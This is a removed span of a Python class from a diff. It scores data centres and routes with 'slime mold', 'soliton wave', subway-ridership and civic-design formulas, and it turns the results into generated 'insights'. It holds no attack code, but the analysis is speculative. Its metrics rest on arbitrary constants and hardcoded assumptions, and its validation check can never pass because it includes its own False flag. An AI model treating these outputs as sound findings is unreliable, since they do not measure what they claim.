route_memory['successful_routes'].append(path) - elif path_quality >= 0.5 and stability >= 0.5: - route_memory['partial_routes'].append(path) - else: - route_memory['failed_routes'].append(path) - - # Identify frustration basins (high-torsion, low-stability routes) - for path in soliton_paths: - if path.get('stability', 0.5) < 0.3 and path.get('path_quality', 0.5) >= 0.6: - route_memory['frustration_basins'].append({ - 'path': f"{path['source']} ↔ {path['destination']}", - 'frustration_level': 1.0 - path['stability'] - }) - - # Calculate memory pressure fields - memory_pressure = self._calculate_memory_pressure(route_memory, network_topology) - - return { - 'route_memory': route_memory, - 'memory_pressure': memory_pressure, - 'stigmergic_bias': self._calculate_stigmergic_bias(route_memory) - } - - def _calculate_memory_pressure(self, route_memory: Dict, network_topology: Dict) -> Dict[str, float]: - """Calculate memory pressure fields for route bias.""" - data_centers = list(network_topology.get('data_centers', {}).keys()) - pressure_fields = {dc: 0.0 for dc in data_centers} - - # Successful routes create attractive pressure - for route in route_memory['successful_routes']: - source = route['source'] - dest = route['destination'] - if source in pressure_fields: - pressure_fields[source] += 0.1 - if dest in pressure_fields: - pressure_fields[dest] += 0.1 - - # Failed routes create repulsive pressure - for route in route_memory['failed_routes']: - source = route['source'] - dest = route['destination'] - if source in pressure_fields: - pressure_fields[source] -= 0.05 - if dest in pressure_fields: - pressure_fields[dest] -= 0.05 - - return pressure_fields - - def _calculate_stigmergic_bias(self, route_memory: Dict) -> Dict[str, float]: - """Calculate stigmergic bias for future route selection.""" - total_routes = (len(route_memory['successful_routes']) + - len(route_memory['partial_routes']) + - len(route_memory['failed_routes'])) - - if total_routes == 0: - return {'success_bias': 0.5, 'failure_bias': 0.5} - - success_bias = len(route_memory['successful_routes']) / total_routes - failure_bias = len(route_memory['failed_routes']) / total_routes - - return { - 'success_bias': success_bias, - 'failure_bias': failure_bias, - 'learning_rate': success_bias - failure_bias - } - - def _compare_slime_soliton(self, fitness_analysis: Dict, soliton_analysis: Dict) -> Dict[str, Any]: - """Compare slime mold fitness predictions with soliton wave analysis.""" - fitness_by_location = fitness_analysis.get('fitness_by_location', []) - soliton_focal_points = soliton_analysis.get('focal_points', []) - - comparison = [] - - for fitness_metric in fitness_by_location: - dc_name = fitness_metric['data_center'] - slime_fitness = fitness_metric['overall_fitness'] - - # Find corresponding soliton focal point - soliton_focal = next( - (fp for fp in soliton_focal_points if fp['data_center'] == dc_name), - None - ) - - if soliton_focal: - soliton_potential = soliton_focal['soliton_potential'] - - # Calculate alignment - alignment = 1.0 - abs(slime_fitness - soliton_potential) - - comparison.append({ - 'data_center': dc_name, - 'slime_fitness': slime_fitness, - 'soliton_potential': soliton_potential, - 'alignment': alignment, - 'prediction_agreement': alignment >= 0.8 - }) - - # Calculate overall agreement rate - agreement_rate = sum(1 for c in comparison if c['prediction_agreement']) / len(comparison) if comparison else 0 - average_alignment = sum(c['alignment'] for c in comparison) / len(comparison) if comparison else 0 - - return { - 'location_comparison': comparison, - 'agreement_rate': agreement_rate, - 'average_alignment': average_alignment, - 'methodology_convergence': agreement_rate >= 0.7 - } - - def _validate_early_2000s_construction(self, tero_analysis: Dict) -> Dict[str, Any]: - """Validate network topology against early 2000s construction principles.""" - hub_nodes = tero_analysis.get('hub_nodes', []) - bottleneck_nodes = tero_analysis.get('bottleneck_nodes', []) - network_efficiency = tero_analysis.get('network_efficiency', 0) - - # Early 2000s network construction principles: - # 1. Hub-and-spoke topology for major backbones - # 2. Redundant paths for critical routes - # 3. Geographic optimization for cable laying - # 4. Cost-effective incremental expansion - - validation_results = { - 'hub_spoke_validation': len(hub_nodes) >= 3, # At least 3 major hubs - 'redundancy_validation': network_efficiency >= 0.5, # Reasonable efficiency - 'geographic_optimization': True, # Assumed from construction - 'cost_effectiveness': network_efficiency >= 0.3, # Minimum efficiency - 'overall_validation': False - } - - validation_results['overall_validation'] = all(validation_results.values()) - - return validation_results - - def _generate_biomimetic_insights(self, tero_analysis: Dict, fitness_analysis: Dict, - slime_soliton_comparison: Dict) -> List[str]: - """Generate biomimetic insights from slime mold physics integration.""" - insights = [] - - # Tero model insights - hub_nodes = tero_analysis.get('hub_nodes', []) - if hub_nodes: - top_hub = hub_nodes[0] - insights.append(f"Tero model identifies {top_hub['data_center']} as primary network hub " - f"(strength: {top_hub['hub_strength']:.2f}).") - - # Fitness analysis insights - highest_fitness = fitness_analysis.get('highest_fitness_location') - if highest_fitness: - insights.append(f"Highest slime mold fitness at {highest_fitness['data_center']} " - f"(fitness: {highest_fitness['overall_fitness']:.2f}).") - - # Methodology convergence - comparison = slime_soliton_comparison - if comparison['methodology_convergence']: - insights.append("Slime mold physics and soliton wave analysis show strong convergence " - f"(agreement rate: {comparison['agreement_rate']:.1%}).") - else: - insights.append(f"Methodology divergence detected (agreement rate: {comparison['agreement_rate']:.1%}).") - - # Early 2000s validation - early_2000s_validation = self._validate_early_2000s_construction(tero_analysis) - if early_2000s_validation['overall_validation']: - insights.append("Network topology validates early 2000s construction principles " - "(hub-spoke topology, redundancy, geographic optimization).") - - return insights - - def integrate_subway_underground_analysis(self, network_topology: Dict[str, Any], - soliton_analysis: Dict[str, Any]) -> Dict[str, Any]: - """ - Integrate subway map and underground infrastructure analysis with network topology theory. - - Subway and underground infrastructure represent human-engineered network topology that - follows similar efficiency principles as highway networks and slime mold networks. - This analysis validates the "simplicity over chaos" principle across underground infrastructure. - """ - # Get subway/underground infrastructure data - subway_data = self._get_subway_underground_data() - - # Analyze subway network topology - subway_topology = self._analyze_subway_topology(subway_data) - - # Compare subway network with soliton analysis - subway_soliton_comparison = self._compare_subway_soliton(subway_topology, soliton_analysis) - - # Identify underground infrastructure patterns - underground_patterns = self._identify_underground_patterns(subway_data) - - # Integrate with existing network topology predictions - integrated_analysis = self._integrate_underground_network( - subway_topology, underground_patterns, network_topology - ) - - return { - 'subway_data': subway_data, - 'subway_topology': subway_topology, - 'subway_soliton_comparison': subway_soliton_comparison, - 'underground_patterns': underground_patterns, - 'integrated_analysis': integrated_analysis, - 'underground_insights': self._generate_underground_insights( - subway_topology, subway_soliton_comparison, integrated_analysis - ) - } - - def _get_subway_underground_data(self) -> Dict[str, Any]: - """Get subway and underground infrastructure data from public sources.""" - return { - 'data_sources': { - 'nyc_subway': 'https://web.mta.info/nyct/facts/ridership/', - 'london_tube': 'https://tfl.gov.uk/info-for/open-data-users/', - 'paris_metro': 'https://data.ratp.fr/', - 'tokyo_metro': 'https://www.tokyometro.jp/en/', - 'global_subway_database': 'https://www.openstreetmap.org/' - }, - 'major_subway_systems': { - # New York City Subway - 'nyc_subway': { - 'stations': 472, - 'lines': 36, - 'daily_ridership': 5500000, - 'network_type': 'radial_with_interconnects', - 'key_hubs': ['times_square', 'grand_central', 'penn_station', 'union_square'], - 'coverage_km': 1370, - 'construction_era': '1904_present' - }, - # London Underground - 'london_tube': { - 'stations': 270, - 'lines': 11, - 'daily_ridership': 5000000, - 'network_type': 'radial_with_ring', - 'key_hubs': ['kings_cross', 'victoria', 'waterloo', 'bank'], - 'coverage_km': 402, - 'construction_era': '1863_present' - }, - # Paris Metro - 'paris_metro': { - 'stations': 303, - 'lines': 16, - 'daily_ridership': 4000000, - 'network_type': 'dense_grid', - 'key_hubs': ['chatelet', 'gare_du_nord', 'montparnasse', 'republique'], - 'coverage_km': 214, - 'construction_era': '1900_present' - }, - # Tokyo Metro - 'tokyo_metro': { - 'stations': 179, - 'lines': 13, - 'daily_ridership': 8000000, - 'network_type': 'radial_with_interconnects', - 'key_hubs': ['shinjuku', 'tokyo', 'ikebukuro', 'shibuya'], - 'coverage_km': 304, - 'construction_era': '1927_present' - }, - # Moscow Metro - 'moscow_metro': { - 'stations': 265, - 'lines': 15, - 'daily_ridership': 7000000, - 'network_type': 'radial_with_ring', - 'key_hubs': ['komsomolskaya', 'okhotny_ryad', 'paveletskaya', 'kievskaya'], - 'coverage_km': 449, - 'construction_era': '1935_present' - } - }, - 'underground_infrastructure_types': { - 'subway_tunnels': {'depth_range': '5-30m', 'construction_cost': 'high'}, - 'utility_tunnels': {'depth_range': '1-5m', 'construction_cost': 'medium'}, - 'pedestrian_tunnels': {'depth_range': '2-10m', 'construction_cost': 'low'}, - 'railway_tunnels': {'depth_range': '10-100m', 'construction_cost': 'very_high'}, - 'sewer_systems': {'depth_range': '2-20m', 'construction_cost': 'medium'} - } - } - - def _analyze_subway_topology(self, subway_data: Dict) -> Dict[str, Any]: - """Analyze subway network topology patterns.""" - systems = subway_data.get('major_subway_systems', {}) - - topology_analysis = [] - - for system_name, system_data in systems.items(): - network_type = system_data.get('network_type', 'unknown') - stations = system_data.get('stations', 0) - lines = system_data.get('lines', 0) - coverage_km = system_data.get('coverage_km', 0) - daily_ridership = system_data.get('daily_ridership', 0) - key_hubs = system_data.get('key_hubs', []) - - # Calculate network efficiency metrics - station_per_line = stations / lines if lines > 0 else 0 - coverage_per_station = coverage_km / stations if stations > 0 else 0 - ridership_per_station = daily_ridership / stations if stations > 0 else 0 - - # Determine network complexity - if network_type == 'radial_with_ring': - complexity = 'medium' - elif network_type == 'radial_with_interconnects': - complexity = 'high' - elif network_type == 'dense_grid': - complexity = 'very_high' - else: - complexity = 'unknown' - - topology_analysis.append({ - 'system': system_name, - 'network_type': network_type, - 'complexity': complexity, - 'stations': stations, - 'lines': lines, - 'coverage_km': coverage_km, - 'daily_ridership': daily_ridership, - 'station_per_line': station_per_line, - 'coverage_per_station': coverage_per_station, - 'ridership_per_station': ridership_per_station, - 'key_hubs': key_hubs, - 'hub_count': len(key_hubs) - }) - - # Sort by ridership efficiency - topology_analysis.sort(key=lambda x: x['ridership_per_station'], reverse=True) - - return { - 'topology_by_system': topology_analysis, - 'network_type_distribution': self._analyze_network_type_distribution(systems), - 'average_metrics': self._calculate_average_metrics(topology_analysis) - } - - def _analyze_network_type_distribution(self, systems: Dict) -> Dict[str, Any]: - """Analyze distribution of network types across subway systems.""" - network_types = {} - for system_name, system_data in systems.items(): - network_type = system_data.get('network_type', 'unknown') - if network_type not in network_types: - network_types[network_type] = [] - network_types[network_type].append(system_name) - - return { - 'type_distribution': network_types, - 'most_common_type': max(network_types.items(), key=lambda x: len(x[1])) if network_types else None, - 'type_diversity': len(network_types) - } - - def _calculate_average_metrics(self, topology_analysis: List[Dict]) -> Dict[str, float]: - """Calculate average metrics across all subway systems.""" - if not topology_analysis: - return {} - - total_systems = len(topology_analysis) - - return { - 'avg_station_per_line': sum(t['station_per_line'] for t in topology_analysis) / total_systems, - 'avg_coverage_per_station': sum(t['coverage_per_station'] for t in topology_analysis) / total_systems, - 'avg_ridership_per_station': sum(t['ridership_per_station'] for t in topology_analysis) / total_systems, - 'avg_hub_count': sum(t['hub_count'] for t in topology_analysis) / total_systems - } - - def _compare_subway_soliton(self, subway_topology: Dict, soliton_analysis: Dict) -> Dict[str, Any]: - """Compare subway network topology with soliton wave analysis.""" - topology_by_system = subway_topology.get('topology_by_system', []) - soliton_focal_points = soliton_analysis.get('focal_points', []) - - # Map subway systems to data center regions - subway_to_dc = { - 'nyc_subway': ['new_york_ny'], - 'london_tube': ['london_uk'], - 'paris_metro': ['paris_france'], - 'tokyo_metro': ['tokyo_japan'], - 'moscow_metro': ['moscow_russia'] - } - - comparison = [] - - for subway_system in topology_by_system: - system_name = subway_system['system'] - system_dcs = subway_to_dc.get(system_name, []) - - # Find soliton potential for system's data centers - dc_soliton_potentials = [] - for dc in system_dcs: - soliton_focal = next( - (fp for fp in soliton_focal_points if fp['data_center'] == dc), - None - ) - if soliton_focal: - dc_soliton_potentials.append({ - 'data_center': dc, - 'soliton_potential': soliton_focal['soliton_potential'] - }) - - if dc_soliton_potentials: - avg_soliton = sum(d['soliton_potential'] for d in dc_soliton_potentials) / len(dc_soliton_potentials) - - # Calculate subway-soliton alignment - # High ridership efficiency + high soliton potential = strong alignment - ridership_efficiency = subway_system['ridership_per_station'] - normalized_ridership = min(ridership_efficiency / 50000, 1.0) # Normalize to 0-1 - alignment_score = (normalized_ridership + avg_soliton) / 2 - - comparison.append({ - 'subway_system': system_name, - 'data_centers': system_dcs, - 'avg_soliton_potential': avg_soliton, - 'ridership_efficiency': ridership_efficiency, - 'normalized_ridership': normalized_ridership, - 'alignment_score': alignment_score, - 'network_complexity': subway_system['complexity'] - }) - - # Sort by alignment score - comparison.sort(key=lambda x: x['alignment_score'], reverse=True) - - return { - 'system_comparison': comparison, - 'highest_alignment_system': comparison[0] if comparison else None, - 'average_alignment': sum(c['alignment_score'] for c in comparison) / len(comparison) if comparison else 0 - } - - def _identify_underground_patterns(self, subway_data: Dict) -> Dict[str, Any]: - """Identify patterns in underground infrastructure.""" - systems = subway_data.get('major_subway_systems', {}) - infrastructure_types = subway_data.get('underground_infrastructure_types', {}) - - patterns = { - 'hub_concentration': [], - 'network_complexity_trends': [], - 'construction_eras': [], - 'depth_distribution': [] - } - - for system_name, system_data in systems.items(): - # Hub concentration pattern - key_hubs = system_data.get('key_hubs', []) - stations = system_data.get('stations', 0) - hub_ratio = len(key_hubs) / stations if stations > 0 else 0 - - patterns['hub_concentration'].append({ - 'system': system_name, - 'hub_count': len(key_hubs), - 'hub_ratio': hub_ratio - }) - - # Network complexity trends - network_type = system_data.get('network_type', 'unknown') - daily_ridership = system_data.get('daily_ridership', 0) - - patterns['network_complexity_trends'].append({ - 'system': system_name, - 'network_type': network_type, - 'ridership': daily_ridership, - 'complexity_score': self._assess_complexity_score(network_type, daily_ridership) - }) - - # Construction era patterns - construction_era = system_data.get('construction_era', 'unknown') - patterns['construction_eras'].append({ - 'system': system_name, - 'construction_era': construction_era, - 'era_group': self._group_construction_era(construction_era) - }) - - # Depth distribution from infrastructure types - for infra_type, infra_data in infrastructure_types.items(): - depth_range = infra_data.get('depth_range', 'unknown') - patterns['depth_distribution'].append({ - 'infrastructure_type': infra_type, - 'depth_range': depth_range, - 'avg_depth': self._parse_depth_range(depth_range) - }) - - return patterns - - def _assess_complexity_score(self, network_type: str, ridership: int) -> float: - """Assess complexity score based on network type and ridership.""" - type_scores = { - 'radial_with_ring': 0.6, - 'radial_with_interconnects': 0.8, - 'dense_grid': 1.0, - 'unknown': 0.5 - } - - type_score = type_scores.get(network_type, 0.5) - normalized_ridership = min(ridership / 10000000, 1.0) - - return (type_score + normalized_ridership) / 2 - - def _group_construction_era(self, construction_era: str) -> str: - """Group construction eras into broader periods.""" - if '1900' in construction_era or '1904' in construction_era: - return 'early_20th_century' - elif '1863' in construction_era: - return 'mid_19th_century' - elif '1927' in construction_era: - return 'early_20th_century' - elif '1935' in construction_era: - return 'mid_20th_century' - else: - return 'unknown' - - def _parse_depth_range(self, depth_range: str) -> float: - """Parse depth range string to average depth.""" - try: - if '-' in depth_range: - parts = depth_range.split('-') - depths = [float(p.replace('m', '')) for p in parts] - return sum(depths) / len(depths) - return 0.0 - except: - return 0.0 - - def _integrate_underground_network(self, subway_topology: Dict, underground_patterns: Dict, - network_topology: Dict) -> Dict[str, Any]: - """Integrate underground network analysis with existing network topology.""" - topology_by_system = subway_topology.get('topology_by_system', []) - hub_concentration = underground_patterns.get('hub_concentration', []) - - # Identify underground network hubs that align with data centers - underground_hubs = [] - - for system in topology_by_system: - system_name = system['system'] - key_hubs = system['key_hubs'] - ridership_efficiency = system['ridership_per_station'] - - # High ridership hubs likely align with network infrastructure - for hub in key_hubs: - underground_hubs.append({ - 'subway_system': system_name, - 'hub_name': hub, - 'ridership_efficiency': ridership_efficiency, - 'network_importance': 'high' if ridership_efficiency > 20000 else 'medium' - }) - - # Sort by ridership efficiency - underground_hubs.sort(key=lambda x: x['ridership_efficiency'], reverse=True) - - # Identify underground corridors that align with network paths - underground_corridors = self._identify_underground_corridors(underground_patterns, network_topology) - - return { - 'underground_hubs': underground_hubs[:10], # Top 10 - 'underground_corridors': underground_corridors, - 'network_integration_score': self._calculate_network_integration_score( - underground_hubs, network_topology - ) - } - - def _identify_underground_corridors(self, underground_patterns: Dict, network_topology: Dict) -> List[Dict]: - """Identify underground corridors that align with network topology paths.""" - hub_concentration = underground_patterns.get('hub_concentration', []) - - corridors = [] - - for system_data in hub_concentration: - system_name = system_data['system'] - hub_ratio = system_data['hub_ratio'] - - # High hub ratio indicates concentrated network (likely radial) - if hub_ratio > 0.02: - corridors.append({ - 'subway_system': system_name, - 'corridor_type': 'radial_concentration', - 'hub_concentration': hub_ratio, - 'network_alignment': 'high' - }) - - return corridors - - def _calculate_network_integration_score(self, underground_hubs: List[Dict], network_topology: Dict) -> float: - """Calculate integration score between underground and network topology.""" - if not underground_hubs: - return 0.0 - - data_centers = network_topology.get('data_centers', {}) - - # Count high-importance underground hubs - high_importance_count = sum(1 for hub in underground_hubs if hub['network_importance'] == 'high') - - # Calculate integration score - integration_score = high_importance_count / len(underground_hubs) if underground_hubs else 0 - - return integration_score - - def _generate_underground_insights(self, subway_topology: Dict, subway_soliton_comparison: Dict, - integrated_analysis: Dict) -> List[str]: - """Generate insights from subway/underground infrastructure analysis.""" - insights = [] - - # Subway topology insights - topology_by_system = subway_topology.get('topology_by_system', []) - if topology_by_system: - top_system = topology_by_system[0] - insights.append(f"Highest ridership efficiency: {top_system['system']} " - f"({top_system['ridership_per_station']:.0f} riders/station).") - - # Network type distribution - network_type_dist = subway_topology.get('network_type_distribution', {}) - most_common_type = network_type_dist.get('most_common_type') - if most_common_type: - insights.append(f"Most common subway network type: {most_common_type[0]} ({len(most_common_type[1])} systems).") - - # Subway-soliton comparison - highest_alignment = subway_soliton_comparison.get('highest_alignment_system') - if highest_alignment: - insights.append(f"Highest subway-soliton alignment: {highest_alignment['subway_system']} " - f"(alignment: {highest_alignment['alignment_score']:.2f}).") - - # Underground network integration - integration_score = integrated_analysis.get('network_integration_score', 0) - insights.append(f"Underground-network integration score: {integration_score:.2f}.") - - # Underground hubs - underground_hubs = integrated_analysis.get('underground_hubs', []) - if underground_hubs: - insights.append(f"Identified {len(underground_hubs)} high-importance underground hubs " - f"across subway systems.") - - return insights - - def integrate_civic_design_mathematics(self, network_topology: Dict[str, Any], - soliton_analysis: Dict[str, Any]) -> Dict[str, Any]: - """ - Integrate culturally independent civic design mathematics with network topology analysis. - - Focuses on mathematical foundations of path-finding in civic design rather than - specific placement. Uses universal mathematical principles that govern how cities - and infrastructure are designed across cultures. - - Key Mathematical Principles: - - Central Place Theory (Christaller's hexagonal patterns) - - Spatial Interaction Models (gravity models, radiation models) - - Network Flow Optimization (min-cost flow, max-flow min-cut) - - Accessibility Metrics (Hansen's accessibility, potential models) - - Distance Decay Functions (exponential, power law) - - Space Syntax Analysis (integration, connectivity, choice) - - Voronoi Tessellation (service area analysis) - - Graph Centrality Measures (betweenness, closeness, eigenvector) - """ - # Get civic design mathematical principles - civic_math = self._get_civic_design_mathematics() - - # Apply central place theory to network topology - central_place_analysis = self._apply_central_place_theory(network_topology) - - # Apply spatial interaction models - spatial_interaction = self._apply_spatial_interaction_models(network_topology, soliton_analysis) - - # Apply network flow optimization - flow_optimization = self._apply_network_flow_optimization(network_topology) - - # Apply accessibility metrics - accessibility_analysis = self._apply_accessibility_metrics(network_topology) - - # Apply distance decay functions - distance_decay = self._apply_distance_decay_functions(network_topology) - - # Apply space syntax analysis - space_syntax = self._apply_space_syntax_analysis(network_topology) - - # Apply Voronoi tessellation - voronoi_analysis = self._apply_voronoi_tessellation(network_topology) - - # Apply graph centrality measures - centrality_analysis = self._apply_centrality_measures(network_topology) - - # Integrate all civic design mathematics with existing analysis - integrated_analysis = self._integrate_civic_mathematics( - central_place_analysis, spatial_interaction, flow_optimization, - accessibility_analysis, distance_decay, space_syntax, - voronoi_analysis, centrality_analysis, soliton_analysis - ) - - return { - 'civic_math_principles': civic_math, - 'central_place_analysis': central_place_analysis, - 'spatial_interaction': spatial_interaction, - 'flow_optimization': flow_optimization, - 'accessibility_analysis': accessibility_analysis, - 'distance_decay': distance_decay, - 'space_syntax': space_syntax, - 'voronoi_analysis': voronoi_analysis, - 'centrality_analysis': centrality_analysis, - 'integrated_analysis': integrated_analysis, - 'civic_math_insights': self._generate_civic_math_insights(integrated_analysis) - } - - def _get_civic_design_mathematics(self) -> Dict[str, Any]: - """Get culturally independent civic design mathematical principles.""" - return { - 'central_place_theory': { - 'description': 'Christaller\'s hexagonal patterns for optimal service area coverage', - 'mathematical_principle': 'Service areas arranged in hexagonal lattice to minimize travel distance', - 'k_values': { - 'k=3': 'Marketing principle - 3 settlements per higher-order center', - 'k=4': 'Transportation principle - 4 settlements along transport routes', - 'k=7': 'Administrative principle - 7 settlements per administrative center' - }, - 'path_finding_math': 'Minimize average distance to service centers using hexagonal tessellation' - }, - 'spatial_interaction_models': { - 'gravity_model': { - 'equation': 'F_ij = G * (P_i * P_j) / d_ij^b', - 'description': 'Interaction between locations proportional to mass, inversely to distance', - 'path_finding_math': 'Route through high-mass nodes with distance decay' - }, - 'radiation_model': { - 'equation': 'T_ij = (m_i * m_j) / ((m_i + s_ij) * (m_i + m_j + s_ij))', - 'description': 'Population-based interaction without distance decay parameter', - 'path_finding_math': 'Route through nodes with high population density' - } - }, - 'network_flow_optimization': { - 'min_cost_flow': { - 'equation': 'minimize sum(c_ij * x_ij) subject to flow constraints', - 'description': 'Find cheapest flow paths through network', - 'path_finding_math': 'Route through minimum-cost edges satisfying demand' - }, - 'max_flow_min_cut': { - 'equation': 'max flow = min cut capacity', - 'description': 'Maximum flow equals minimum cut capacity', - 'path_finding_math': 'Identify bottleneck edges and optimize around them' - } - }, - 'accessibility_metrics': { - 'hansen_accessibility': { - 'equation': 'A_i = sum_j (M_j * f(d_ij))', - 'description': 'Accessibility based on destination mass and distance decay', - 'path_finding_math': 'Route to maximize accessibility to high-mass destinations' - }, - 'potential_model': { - 'equation': 'P_i = sum_j (M_j / d_ij)', - 'description': 'Potential based on inverse distance to destinations', - 'path_finding_math': 'Route through nodes with highest potential' - } - }, - 'distance_decay_functions': { - 'exponential_decay': { - 'equation': 'f(d) = exp(-beta * d)', - 'description': 'Interaction decreases exponentially with distance', - 'path_finding_math': 'Prefer shorter paths with exponential penalty' - }, - 'power_law_decay': { - 'equation': 'f(d) = d^(-alpha)', - 'description': 'Interaction follows power law decay with distance', - 'path_finding_math': 'Prefer shorter paths with power law penalty' - } - }, - 'space_syntax_analysis': { - 'integration': { - 'equation': 'Integration = (n-1)^2 / (2 * MD * (n-2))', - 'description': 'Measure of how integrated a space is in the network', - 'path_finding_math': 'Route through highly integrated spaces' - }, - 'connectivity': { - 'equation': 'Connectivity = number of direct connections', - 'description': 'Number of directly connected spaces', - 'path_finding_math': 'Route through highly connected nodes' - }, - 'choice': { - 'equation': 'Choice = number of shortest paths through space', - 'description': 'Betweenness centrality in space syntax', - 'path_finding_math': 'Route through high-choice spaces' - } - }, - 'voronoi_tessellation': { - 'description': 'Partition space into regions closest to each service center', - 'mathematical_principle': 'Minimize distance to nearest service center', - 'path_finding_math': 'Route through nodes that minimize distance to service centers' - }, - 'graph_centrality': { - 'betweenness_centrality': { - 'equation': 'CB(v) = sum(s≠t≠v sigma_st(v) / sigma_st)', - 'description': 'Fraction of shortest paths passing through node', - 'path_finding_math': 'Route through high-betweenness nodes' - }, - 'closeness_centrality': { - 'equation': 'CC(v) = (n-1) / sum(d(v,u))', - 'description': 'Inverse of average distance to all other nodes', - 'path_finding_math': 'Route through nodes with minimum average distance' - }, - 'eigenvector_centrality': { - 'equation': 'Ax = lambda x', - 'description': 'Importance based on connections to important nodes', - 'path_finding_math': 'Route through nodes with high eigenvector centrality' - } - } - } - - def _apply_central_place_theory(self, network_topology: Dict) -> Dict[str, Any]: - """Apply Christaller's central place theory to network topology.""" - data_centers = network_topology.get('data_centers', {}) - - # Calculate service areas using hexagonal tessellation principle - service_areas = [] - - for dc_name, dc_data in data_centers.items(): - # Estimate service area based on importance - importance = dc_data.get('importance', 0.5) - service_radius = importance * 500 # km radius estimate - - # Calculate hexagonal coverage area - hex_area = (3 * np.sqrt(3) / 2) * (service_radius ** 2) - - service_areas.append({ - 'data_center': dc_name, - 'service_radius_km': service_radius, - 'hexagonal_area_km2': hex_area, - 'importance_score': importance, - 'k_value': self._determine_k_value(importance) - }) - - # Sort by service area - service_areas.sort(key=lambda x: x['hexagonal_area_km2'], reverse=True) - - return { - 'service_areas': service_areas, - 'hexagonal_coverage': self._calculate_hexagonal_coverage(service_areas), - 'central_place_hierarchy': self._determine_hierarchy(service_areas) - } - - def _determine_k_value(self, importance: float) -> str: - """Determine Christaller's K value based on importance.""" - if importance > 0.8: - return 'k=7_administrative' - elif importance > 0.5: - return 'k=4_transportation' - else: - return 'k=3_marketing' - - def _calculate_hexagonal_coverage(self, service_areas: List[Dict]) -> Dict[str, float]: - """Calculate hexagonal coverage metrics.""" - total_area = sum(area['hexagonal_area_km2'] for area in service_areas) - avg_area = total_area / len(service_areas) if service_areas else 0 - - return { - 'total_coverage_area_km2': total_area, - 'average_service_area_km2': avg_area, - 'coverage_efficiency': min(total_area / 10000000, 1.0) # Normalized to global area - } - - def _determine_hierarchy(self, service_areas: List[Dict]) -> List[Dict]: - """Determine central place hierarchy levels.""" - # Divide into 3 levels based on service area - sorted_areas = sorted(service_areas, key=lambda x: x['hexagonal_area_km2'], reverse=True) - - hierarchy = [] - n = len(sorted_areas) - - for i, area in enumerate(sorted_areas): - if i < n // 3: - level = 'primary_center' - elif i < 2 * n // 3: - level = 'secondary_center' - else: - level = 'tertiary_center' - - hierarchy.append({ - 'data_center': area['data_center'], - 'hierarchy_level': level, - 'service_area_km2': area['hexagonal_area_km2'] - }) - - return hierarchy - - def _apply_spatial_interaction_models(self, network_topology: Dict, - soliton_analysis: Dict) -> Dict[str, Any]: - """Apply spatial interaction models (gravity, radiation) to network topology.""" - data_centers = network_topology.get('data_centers', {}) - - # Gravity model calculations - gravity_interactions = [] - - dc_names = list(data_centers.keys()) - for i in range(len(dc_names)): - for j in range(i + 1, len(dc_names)): - dc_i = data_centers[dc_names[i]] - dc_j = data_centers[dc_names[j]] - - # Calculate distance - distance = np.sqrt((dc_i['lat'] - dc_j['lat'])**2 + - (dc_i['lon'] - dc_j['lon'])**2) - - # Get mass (importance/population proxy) - mass_i = dc_i.get('importance', 0.5) - mass_j = dc_j.get('importance', 0.5) - - # Gravity model: F = G * (M1 * M2) / d^b - G = 1.0 # Gravitational constant for this model - b = 2.0 # Distance decay parameter - gravity = G * (mass_i * mass_j) / (distance ** b + 1e-6) - - # Radiation model: T = (m1 * m2) / ((m1 + s) * (m1 + m2 + s)) - # where s is intervening population (simplified as distance) - radiation = (mass_i * mass_j) / ((mass_i + distance) * - (mass_i + mass_j + distance) + 1e-6) - - gravity_interactions.append({ - 'source': dc_names[i], - 'destination': dc_names[j], - 'distance': distance, - 'gravity_interaction': gravity, - 'radiation_interaction': radiation, - 'combined_score': (gravity + radiation) / 2 - }) - - # Sort by combined score - gravity_interactions.sort(key=lambda x: x['combined_score'], reverse=True) - - return { - 'gravity_model_interactions': gravity_interactions[:10], # Top 10 - 'highest_interaction_pair': gravity_interactions[0] if gravity_interactions else None, - 'average_interaction': sum(x['combined_score'] for x in gravity_interactions) / len(gravity_interactions) if gravity_interactions else 0 - } - - def _apply_network_flow_optimization(self, network_topology: Dict) -> Dict[str, Any]: - """Apply network flow optimization principles.""" - data_centers = network_topology.get('data_centers', {}) - - # Calculate edge weights based on distance and importance - edges = [] - dc_names = list(data_centers.keys()) - - for i in range(len(dc_names)): - for j in range(i + 1, len(dc_names)): - dc_i = data_centers[dc_names[i]] - dc_j = data_centers[dc_names[j]] - - distance = np.sqrt((dc_i['lat'] - dc_j['lat'])**2 + - (dc_i['lon'] - dc_j['lon'])**2) - - # Cost function: distance / (importance_i * importance_j) - importance_i = dc_i.get('importance', 0.5) - importance_j = dc_j.get('importance', 0.5) - cost = distance / (importance_i * importance_j + 1e-6) - - # Capacity function: importance_i * importance_j / distance - capacity = (importance_i * importance_j) / (distance + 1e-6) - - edges.append({ - 'source': dc_names[i], - 'destination': dc_names[j], - 'distance': distance, - 'cost': cost, - 'capacity': capacity, - 'cost_capacity_ratio': cost / (capacity + 1e-6) - }) - - # Sort by cost (min-cost flow) - min_cost_edges = sorted(edges, key=lambda x: x['cost']) - - # Sort by capacity (max-flow) - max_capacity_edges = sorted(edges, key=lambda x: x['capacity'], reverse=True) - - return { - 'min_cost_flow_edges': min_cost_edges[:10], - 'max_flow_edges': max_capacity_edges[:10], - 'flow_optimization_score': self._calculate_flow_optimization_score(edges) - } - - def _calculate_flow_optimization_score(self, edges: List[Dict]) -> float: - """Calculate overall flow optimization score.""" - if not edges: - return 0.0 - - # Score based on cost-capacity ratio (lower is better) - avg_ratio = sum(e['cost_capacity_ratio'] for e in edges) / len(edges) - score = 1.0 / (1.0 + avg_ratio) - - return score - - def _apply_accessibility_metrics(self, network_topology: Dict) -> Dict[str, Any]: - """Apply accessibility metrics (Hansen, potential models).""" - data_centers = network_topology.get('data_centers', {}) - - accessibility_scores = [] - - for dc_name, dc_data in data_centers.items(): - hansen_accessibility = 0.0 - potential = 0.0 - - for other_name, other_data in data_centers.items(): - if dc_name == other_name: - continue - - distance = np.sqrt((dc_data['lat'] - other_data['lat'])**2 + - (dc_data['lon'] - other_data['lon'])**2) - - # Hansen accessibility: A_i = sum(M_j * exp(-beta * d_ij)) - mass_j = other_data.get('importance', 0.5) - beta = 0.1 # Distance decay parameter - hansen_accessibility += mass_j * np.exp(-beta * distance) - - # Potential model: P_i = sum(M_j / d_ij) - potential += mass_j / (distance + 1e-6) - - accessibility_scores.append({ - 'data_center': dc_name, - 'hansen_accessibility': hansen_accessibility, - 'potential_score': potential, - 'combined_accessibility': (hansen_accessibility + potential) / 2 - }) - - # Sort by combined accessibility - accessibility_scores.sort(key=lambda x: x['combined_accessibility'], reverse=True) - - return { - 'accessibility_scores': 